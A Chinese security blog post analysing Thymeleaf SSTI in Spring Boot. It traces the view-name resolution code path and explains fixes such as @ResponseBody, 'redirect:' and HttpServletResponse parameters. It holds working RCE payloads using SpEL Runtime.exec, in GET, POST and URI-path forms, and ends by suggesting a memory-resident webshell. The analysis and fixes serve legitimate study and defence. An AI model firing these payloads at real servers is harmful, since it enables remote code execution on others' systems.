Java安全之Thymeleaf SSTI分析

写在前面

文章首发:https://www.anquanke.com/post/id/254519

最近看了一遍Thymeleaf,借此机会学习一下Thymeleaf的SSTI,调试的过程中发现了很多有意思的点,也学习到了一些payload的构造姿势,简单码个文章记录一下。

About Thymeleaf

Thymeleaf是SpringBoot中的一个模版引擎,个人认为有点类似于Python中的Jinja2,负责渲染前端页面。

之前写JavaWeb和SSM的时候,前端页面可能会用JSP写,但是因为之前项目都是war包部署,而SpringBoot都是jar包且内嵌tomcat,所以是不支持解析jsp文件的。但是如果是编写纯静态的html就很不方便,那么这时候就需要一个模版引擎类似于Jinja2可以通过表达式帮我们把动态的变量渲染到前端页面,我们只需要写一个template即可。这也就是到了SpringBoot为什么官方推荐要使用Thymeleaf处理前端页面了。

基础知识

片段表达式

Thymeleaf中的表达式有好几种

  • 变量表达式: ${...}
  • 选择变量表达式: *{...}
  • 消息表达: #{...}
  • 链接 URL 表达式: @{...}
  • 片段表达式: ~{...}

而这次遇到的是片段表达式(FragmentExpression): ~{...},片段表达式可以用于引用公共的目标片段比如footer或者header

比如在/WEB-INF/templates/footer.html定义一个片段,名为copy。<div th:fragment="copy">

<!DOCTYPE html>

<html xmlns:th="http://www.thymeleaf.org">

  <body>

    <div th:fragment="copy">
&copy; 2011 The Good Thymes Virtual Grocery
</div> </body> </html>

在另一template中引用该片段<div th:insert="~{footer :: copy}"></div>

<body>

  ...

  <div th:insert="~{footer :: copy}"></div>

</body>

片段表达式语法:

  1. ~{templatename::selector},会在/WEB-INF/templates/目录下寻找名为templatename的模版中定义的fragment,如上面的~{footer :: copy}
  2. ~{templatename},引用整个templatename模版文件作为fragment
  3. ~{::selector} 或 ~{this::selector},引用来自同一模版文件名为selectorfragmnt

其中selector可以是通过th:fragment定义的片段,也可以是类选择器、ID选择器等。

~{}片段表达式中出现::,则::后需要有值,也就是selector

预处理

语法:__${expression}__

官方文档对其的解释:

除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能。

预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。

预处理的表达式与普通表达式完全一样,但被双下划线符号(如__${expression}__)包围。

个人感觉这是出现SSTI最关键的一个地方,预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的payload即可达到任意代码执行

调试分析

前面也提到了是DispatcherServlet拦截请求并分发到Handler处理,那下断点直接定位到DispatcherServlet#doDispatch方法(所有的request和response都会经过该方法)。

首先获取到了Handler,之后进入doDispatch方法的实现,这里重点注意下下面3个方法

1、ha.handle() ,获取ModelAndView也就是Controller中的return值

2、applyDefaultViewName(),对当前ModelAndView做判断,如果为null则进入defalutViewName部分处理,将URI path作为mav的值

3、processDispatchResult(),处理视图并解析执行表达式以及抛出异常回显部分处理

ha.handle

首先跟进mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

/org/springframework/web/servlet/mvc/method/AbstractHandlerMethodAdapter.class#handleInternal,继续跟进

跳到invokeHandlerMethod方法。这里就是使用Handler处理request并获取ModelAndView了,继续跟进

在/org/springframework/web/servlet/mvc/method/annotation/RequestMappingHandlerAdapter.class直接跟进到invokeAndHandle方法

这里通过invokeForRequest函数,根据用户输入的url,调用相关的controller,并将其返回值returnValue,作为待查找的模板文件名,通过Thymeleaf模板引擎去查找,并返回给用户。

重点是returnValue值是否为null,根据Controller写法不同会导致returnValue的值存在null非null的情况。

上面Controller中return的字符串并根据前缀和后缀拼接起来,在templates目录下寻找模版文件

例如下面的Thymeleaf默认配置类文件+Controller,Thymeleaf就会去找/templates/index.html

默认配置类文件org/springframework/boot/autoconfigure/thymeleaf/ThymeleafProperties.java

@ConfigurationProperties(prefix = "spring.thymeleaf")
public class ThymeleafProperties { private static final Charset DEFAULT_ENCODING = StandardCharsets.UTF_8; public static final String DEFAULT_PREFIX = "classpath:/templates/"; public static final String DEFAULT_SUFFIX = ".html"; /**
* Whether to check that the template exists before rendering it.
*/
private boolean checkTemplate = true; /**
* Whether to check that the templates location exists.
*/
private boolean checkTemplateLocation = true; /**
* Prefix that gets prepended to view names when building a URL.
*/
private String prefix = DEFAULT_PREFIX; /**
* Suffix that gets appended to view names when building a URL.
*/
private String suffix = DEFAULT_SUFFIX; /**
* Template mode to be applied to templates. See also Thymeleaf's TemplateMode enum.
*/
private String mode = "HTML"; /**
* Template files encoding.
*/
private Charset encoding = DEFAULT_ENCODING;

Controller

@Controller
public class IndexController { @RequestMapping("/index")
public String test1(Model model){
model.addAttribute("msg","Hello,Thymeleaf"); return "index";
}
}

上面这种是returnValue不为null的情况。那如果Controller如下写的话,returnValue的值就会为null

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}

applyDefaultViewName

如果ModelAndView值不为null则什么也不做,否则如果defaultViewName存在值则会给ModelAndView赋值为defaultViewName,也就是将URI path作为视图名称(具体逻辑会在后面讲)

processDispatchResult

获取到ModelAndView值后会进入到processDispatchResult方法,第1个if会被跳过,跟进第2个if中的render方法

render方法中,首先会获取mv对象的viewName,然后调用resolveViewName方法,resolveViewName方法最终会获取最匹配的视图解析器。

跟一下resolveViewName方法,这里涉及到两个方法:1、首先通过getCandidateViews筛选出resolveViewName方法返回值不为null的视图解析器添加到candidateViews中; 2、之后通过getBestView拿到最适配的解析器,getBestView中的逻辑是优先返回在candidateViews存在重定向动作的view,如果都不存在则根据请求头中的Accept字段的值与candidateViews的相关顺序,并判断是否兼容来返回最适配的View

getCandidateViews:

getBestView:

最终返回的是ThymeleafView之后ThymeleafView调用了render方法,继续跟进

调用renderFragment

这里是漏洞触发的关键点之一,该方法在后面首先判断viewTemplateName是否包含::,若包含则获取解析器,调用parseExpression方法将viewTemplateName(也就是Controller中最后return的值)构造成片段表达式(~{})并解析执行,跟进parseExpression方法。

在org/thymeleaf/standard/expression/StandardExpressionParser.class中继续调用parseExpression

最终在org/thymeleaf/standard/expression/StandardExpressionParser对我们表达式进行解析,首先在preprocess方法对表达式进行预处理(这里只要表达式正确就已经执行了我们payload中的命令)并把结果存入preprocessedInput,可以看到此时预处理就已经执行了命令,之后再次调用parse对预处理的结果preprocessedInput进行第二次解析,而第二次解析时,需要语法正确也就是在Thymeleaf中,~{}::需要有值才可以获得回显,否则没有回显。

在org/thymeleaf/standard/expression/StandardExpressionPreprocessor#preprocess方法中,首先通过正则,将__xxxx__中间xxxx部分提取出来,调用execute执行

跟进execute最终调用org/thymeleaf/standard/expression/VariableExpression#executeVariableExpression使用SpEL执行表达式,触发任意代码执行。

漏洞复现

首先常见的一个payload就是lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x,通过__${}__::.x构造表达式会由Thymeleaf去执行

0x01 templatename

Payload:lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x,这里因为最后return的值为user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x/welcome,无论我们payload如何构造最后都会拼接/welcome所以即使不加.x依然可以触发命令执行

@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}

0x02 selector

Contorller :可控点变为了selector位置

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}

payload

/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x

其实这里也可以不需要.x::也可触发命令执行

poc:

/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open%20-a%20Calculator").getInputStream()).next()%7d__

关于回显问题:在0x01与0x02payload注入点不同会导致有无回显,也可以说是controller代码给予我们的可控参数不同,

0x01中可控的是templatename,而0x02中可控的是selector,而这两个地方的注入在最后抛出异常的时候找不到templatename是存在结果回显的而找不到selector不存在结果回显。

0x03 URI path

Controller

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}

payload

因为mav返回值为空,所以viewTemplateName会从uri中获取,直接在{document}位置传入payload即可

http://localhost:8090/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::.x

0x03 构造回显

这里其实和0x01类似,templatename部分可控,没回显的原因在于defaultView中对URI path的处理,我们可以在最后加两个.

poc

/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::..需要注意的是::必须放在后面,放在前面虽然可以执行命令,但是没有回显。

About .x

在0x03中payload最后是必须要.x,看一下为什么,之前在applyDefaultViewName部分有提到defaultViewName这个值,因为mav返回值为空,所以viewTemplateName会从uri中获取,我们看下是如何处理defaultViewName的,调试之后发现在getViewName方法中调用transformPath对URL中的path进行了处理

重点在于第3个if中stripFilenameExtension方法

/org/springframework/util/StringUtils#stripFilenameExtension该方法会对后缀做一个清除

如果我们传入的payload没有.x的话,例如http://localhost:8090/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::最后会被处理成/doc/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a calculator").getInputStream())从而没有了::无法进入预处理导致无法执行任意代码。

所以这里即使是在最后只加个.也是可以的,不一定必须是.x

其他姿势

这里列举几个比较新奇的思路,反射之类的就不列举了,改一下表达式中的代码即可。

0x01 :: 位置

除了上面利用.替换.x以外(ModelAndView为null,从URI中获取viewname)在0x01中::的位置也不是固定的,这个看之前的代码逻辑即可知晓,比如可以替换成下面的poc,将::放在最前面:

::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__

0x02 POST方式

这个是在turn1tup师傅的文章中get的

POST /path HTTP/1.1
Host: localhost:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 135 lang=::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__

0x03 省略__

当Controller如下配置时,可以省略__包裹

@RequestMapping("/path")
public String path2(@RequestParam String lang) {
return lang; //template path is tainted
}

poc,也不局限于用${},用*{}也是可以的

GET /path2?lang=$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d::.x HTTP/1.1
Host: localhost:8090

关于这种方式可以参考:https://xz.aliyun.com/t/9826#toc-4

修复方案

0x01 配置 @ResponseBody 或者 @RestController

这样 spring 框架就不会将其解析为视图名,而是直接返回, 不再调用模板解析。

@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
}

0x02 在返回值前面加上 "redirect:"

这样不再由 Spring ThymeleafView来进行解析,而是由 RedirectView 来进行解析。

@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; //FP as redirects are not resolved as expressions
}

0x03 在方法参数中加上 HttpServletResponse 参数

由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析。

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document); //FP
}

结语

关于这个漏洞的话调试下来感觉很巧妙,有很多值得深入挖掘的点,但是个人感觉Thymeleaf平常更多的使用姿势还是在于将变量渲染到前端页面而不是类似于输入模版名称去动态返回模版文件,可能实战遇到的并不会很多吧。再有就是在审计的时候有没有一些可以快速定位到该缺陷的方法,待研究。如果真的遇到了,也没必要过于纠结回显,可以直接打内存马。

Reference

https://turn1tup.github.io/2021/08/10/spring-boot-thymeleaf-ssti/

https://xz.aliyun.com/t/9826#toc-4

http://x2y.pw/2020/11/15/Thymeleaf-模板漏洞分析/

https://github.com/veracode-research/spring-view-manipulation/

https://www.cnblogs.com/fishpro/p/spring-boot-study-restcontroller.html

https://paper.seebug.org/1332/

https://www.freebuf.com/articles/network/250026.html

Java安全之Thymeleaf SSTI分析的更多相关文章

  1. 原子类java.util.concurrent.atomic.*原理分析

    原子类java.util.concurrent.atomic.*原理分析 在并发编程下,原子操作类的应用可以说是无处不在的.为解决线程安全的读写提供了很大的便利. 原子类保证原子的两个关键的点就是:可 ...

  2. JAVA常用数据结构及原理分析

    JAVA常用数据结构及原理分析 http://www.2cto.com/kf/201506/412305.html 前不久面试官让我说一下怎么理解java数据结构框架,之前也看过部分源码,balaba ...

  3. Java虚拟机类加载机制——案例分析

    转载: Java虚拟机类加载机制--案例分析   在<Java虚拟机类加载机制>一文中详细阐述了类加载的过程,并举了几个例子进行了简要分析,在文章的最后留了一个悬念给各位,这里来揭开这个悬 ...

  4. Java NIO使用及原理分析 (四)

    在上一篇文章中介绍了关于缓冲区的一些细节内容,现在终于可以进入NIO中最有意思的部分非阻塞I/O.通常在进行同步I/O操作时,如果读取数据,代码会阻塞直至有 可供读取的数据.同样,写入调用将会阻塞直至 ...

  5. Java split方法源码分析

    Java split方法源码分析 public String[] split(CharSequence input [, int limit]) { int index = 0; // 指针 bool ...

  6. java fork-join框架应用和分析

    http://shmilyaw-hotmail-com.iteye.com/blog/1897636 java fork-join框架应用和分析 博客分类: concurrency multithre ...

  7. JAVA WEB 中的编码分析

    JAVA WEB 中的编码分析 */--> pre.src {background-color: #292b2e; color: #b2b2b2;} pre.src {background-co ...

  8. JAVA GC垃圾收集器的分析

    本篇文章主要介绍了"JAVA GC垃圾收集器的分析",主要涉及到JAVA GC垃圾收集器的分析方面的内容,对于JAVA GC垃圾收集器的分析感兴趣的同学可以参考一下.       ...

  9. Java的LockSupport.park()实现分析(转载)

    LockSupport类是Java6(JSR166-JUC)引入的一个类,提供了基本的线程同步原语.LockSupport实际上是调用了Unsafe类里的函数,归结到Unsafe里,只有两个函数: p ...

随机推荐

  1. java中避免集合死链调用

    目录 1. 前言 2. 场景 3. 环境 3.1 开发环境准备 3.2 数据准备 3.2.1 Mysql数据库表及数据 3.2.2 redis库数据 4. 解决方式 5.完整代码 5.1Model 5 ...

  2. Docker系列(26)- 发布镜像到阿里云容器服务

    1.登录阿里云 2.找到容器镜像服务 3.创建命名空间 4.创建镜像仓库 5.上传镜像

  3. filter_var() 验证邮箱、ip、url的格式 php

    验证邮箱格式的正确与否:你的第一解决方案是什么呢? 不管你们怎么思考的:反正我首先想到的就是字符串查找看是否有@符号: 但是对于结尾的.com或者.net 亦或者.cn等等越来越多的域名验证感觉棘手: ...

  4. 《使用Jmeter进行批量发送http请求》

    本文主要针对批量接口发送数据 一:接口测试的环境准备 1:JDK的安装:网上下载即可>1.6.0版本以上 2:jemeter工具的下载 (免安装):网上下载即可 3:插件的下载安装地址:http ...

  5. linux中创建公私钥

    linux中创建公私钥要再~(root)目录下ssh-keygencd /root/.ssh/lsid_rsa 是私钥id_rsa.pub 是公钥把 authorized_keys删除掉,重新建aut ...

  6. 鸿蒙内核源码分析(任务切换篇) | 看汇编如何切换任务 | 百篇博客分析OpenHarmony源码 | v41.03

    百篇博客系列篇.本篇为: v41.xx 鸿蒙内核源码分析(任务切换篇) | 看汇编如何切换任务 | 51.c.h .o 任务管理相关篇为: v03.xx 鸿蒙内核源码分析(时钟任务篇) | 触发调度谁 ...

  7. YbtOJ#791-子集最值【三维偏序】

    正题 题目链接:http://www.ybtoj.com.cn/contest/123/problem/1 题目大意 给出\(3\)个长度为\(n\)的排列\(A,B,C\).然后一个下标集合\(S\ ...

  8. MySQL技术专题(X)该换换你的数据库版本了,让我们一同迎接8.0的到来哦!(初探篇)

    前提背景 MySQL关是一种关系数据库管理系统,所使用的 SQL 语言是用于访问数据库的最常用的标准化语言,其特点为体积小.速度快.总体拥有成本低,尤其是开放源码这一特点,在 Web应用方面 MySQ ...

  9. 专业网络损伤仪HoloWAN meme只需5999元!

    在人们对互联网的依赖度越来越高的今天,人类社会逐步买入元宇宙时代,为了大大提高整个互联网的用户体验,HoloWAN团队推出每一个互联网应用开发团队都能用得起的专业网络损伤仪HoloWAN meme!售 ...

  10. FastAPI 学习之路(十)请求体的字段

    系列文章: FastAPI 学习之路(一)fastapi--高性能web开发框架 FastAPI 学习之路(二) FastAPI 学习之路(三) FastAPI 学习之路(四) FastAPI 学习之 ...